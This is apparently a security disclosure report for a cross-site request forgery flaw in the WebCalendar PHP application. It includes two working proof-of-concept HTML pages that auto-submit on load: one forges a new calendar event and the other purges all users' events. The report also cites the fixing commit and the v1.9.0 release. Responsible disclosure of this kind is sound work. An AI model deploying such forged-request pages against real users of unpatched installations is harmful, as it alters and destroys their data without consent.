Cross-Site Request Forgery (CSRF) in craigk5n/webcalendar
Reported on
Oct 1st 2021
Description
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they’re currently authenticated. With a little help of social engineering (such as sending a link via email or chat), an attacker may trick the users of a web application into executing actions of the attacker’s choosing. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.
https://github.com/craigk5n/webcalendar/ is vulnerable to CSRF as shown below:
Proof of Concept
// PoC.js
var payload = ...
Impact
This vulnerability is capable of...
Occurrences
edit_entry_handler.php L1-L1289
The following proof of concept assumes that webcalendar path is http://localhost/webcalendar-master/
Login to webcalendar
Create a new file csrf_addevent.html in any location with the following content:
<html>
<body onload="document.forms[0].submit()">
<form enctype="application/x-www-form-urlencoded" method="POST" action="http://localhost/webcalendar-master/edit_entry_handler.php">
<table>
<tr><td>eType</td><td><input type="text" value="event" name="eType"></td></tr>
<tr><td>entry_changed</td><td><input type="text" value="yes" name="entry_changed"></td></tr>
<tr><td>name</td><td><input type="text" value="CSRFEVENT" name="name"></td></tr>
<tr><td>description</td><td><input type="text" value="<p>CSRFEVENT</p>" name="description"></td></tr>
<tr><td>access</td><td><input type="text" value="P" name="access"></td></tr>
<tr><td>priority</td><td><input type="text" value="5" name="priority"></td></tr>
<tr><td>cat_id</td><td><input type="text" value="" name="cat_id"></td></tr>
<tr><td>location</td><td><input type="text" value="" name="location"></td></tr>
<tr><td>day</td><td><input type="text" value="15" name="day"></td></tr>
<tr><td>month</td><td><input type="text" value="9" name="month"></td></tr>
<tr><td>year</td><td><input type="text" value="2021" name="year"></td></tr>
<tr><td>timetype</td><td><input type="text" value="U" name="timetype"></td></tr>
<tr><td>entry_hour</td><td><input type="text" value="0" name="entry_hour"></td></tr>
<tr><td>entry_minute</td><td><input type="text" value="0" name="entry_minute"></td></tr>
<tr><td>entry_ampm</td><td><input type="text" value="0" name="entry_ampm"></td></tr>
<tr><td>duration_h</td><td><input type="text" value="0" name="duration_h"></td></tr>
<tr><td>duration_m</td><td><input type="text" value="00" name="duration_m"></td></tr>
<tr><td>lookup</td><td><input type="text" value="" name="lookup"></td></tr>
<tr><td>selectedPart[]</td><td><input type="text" value="admin" name="selectedPart[]"></td></tr>
<tr><td>rpt_type</td><td><input type="text" value="none" name="rpt_type"></td></tr>
<tr><td>rpt_end_use</td><td><input type="text" value="f" name="rpt_end_use"></td></tr>
<tr><td>rpt_freq</td><td><input type="text" value="0" name="rpt_freq"></td></tr>
<tr><td>wkst</td><td><input type="text" value="MO" name="wkst"></td></tr>
<tr><td>bydayList</td><td><input type="text" value="" name="bydayList"></td></tr>
<tr><td>bymonthdayList</td><td><input type="text" value="" name="bymonthdayList"></td></tr>
<tr><td>bysetposList</td><td><input type="text" value="" name="bysetposList"></td></tr>
<tr><td>byweekno</td><td><input type="text" value="" name="byweekno"></td></tr>
<tr><td>byyearday</td><td><input type="text" value="" name="byyearday"></td></tr>
<tr><td>except_day</td><td><input type="text" value="15" name="except_day"></td></tr>
<tr><td>except_month</td><td><input type="text" value="9" name="except_month"></td></tr>
<tr><td>except_year</td><td><input type="text" value="2021" name="except_year"></td></tr>
<tr><td>rem_action</td><td><input type="text" value="EMAIL" name="rem_action"></td></tr>
<tr><td>rem_last_sent</td><td><input type="text" value="0" name="rem_last_sent"></td></tr>
<tr><td>rem_times_sent</td><td><input type="text" value="0" name="rem_times_sent"></td></tr>
<tr><td>reminder</td><td><input type="text" value="0" name="reminder"></td></tr>
<tr><td>rem_when</td><td><input type="text" value="N" name="rem_when"></td></tr>
<tr><td>rem_days</td><td><input type="text" value="0" name="rem_days"></td></tr>
<tr><td>rem_hours</td><td><input type="text" value="4" name="rem_hours"></td></tr>
<tr><td>rem_minutes</td><td><input type="text" value="0" name="rem_minutes"></td></tr>
<tr><td>rem_before</td><td><input type="text" value="Y" name="rem_before"></td></tr>
<tr><td>rem_related</td><td><input type="text" value="S" name="rem_related"></td></tr>
<tr><td>rem_rep_count</td><td><input type="text" value="0" name="rem_rep_count"></td></tr>
<tr><td>participant_list</td><td><input type="text" value="" name="participant_list"></td></tr>
</table>
<input type="submit" value="http://localhost/webcalendar-master/edit_entry_handler.php">
</form>
</body>
</html>
Open csrf_addevent.html file in a browser and observe a new event is added.
purge.php L15-L264
The following proof of concept assumes that webcalendar path is http://localhost/webcalendar-master/ change if needed
Login to webcalendar
Create a new file csrf_deleteevents.html in any location with the following content:
<html>
<body onload="document.forms[0].submit()">
<form enctype="application/x-www-form-urlencoded" method="POST" action="http://localhost/webcalendar-master/purge.php">
<table>
<tr><td>username</td><td><input type="text" value="ALL" name="username"></td></tr>
<tr><td>purge_all</td><td><input type="text" value="Y" name="purge_all"></td></tr>
<tr><td>end_day</td><td><input type="text" value="15" name="end_day"></td></tr>
<tr><td>end_month</td><td><input type="text" value="9" name="end_month"></td></tr>
<tr><td>end_year</td><td><input type="text" value="2022" name="end_year"></td></tr>
<tr><td>preview</td><td><input type="text" value="Y" name="preview"></td></tr>
<tr><td>delete</td><td><input type="text" value="Delete" name="delete"></td></tr>
</table>
<input type="submit" value="http://localhost/webcalendar-master/purge.php">
</form>
</body>
</html>
Open csrf_deleteevents.html file in a browser and observe all events were deleted.
References
Fix is in commit 6a3b8ea09459b5135bd0209c6e9cf0e389aaaf54 in bootstrap-ui branch.
https://github.com/craigk5n/webcalendar/commit/d9729b4b01a32557e284ce469a410b24fcb65e62
The fix for this is now included in the WebCalendar v1.9.0 release.
Thanks for the information @craigk5n - if possible, could you confirm using the confirm fix
action?
Let me know if you need any support!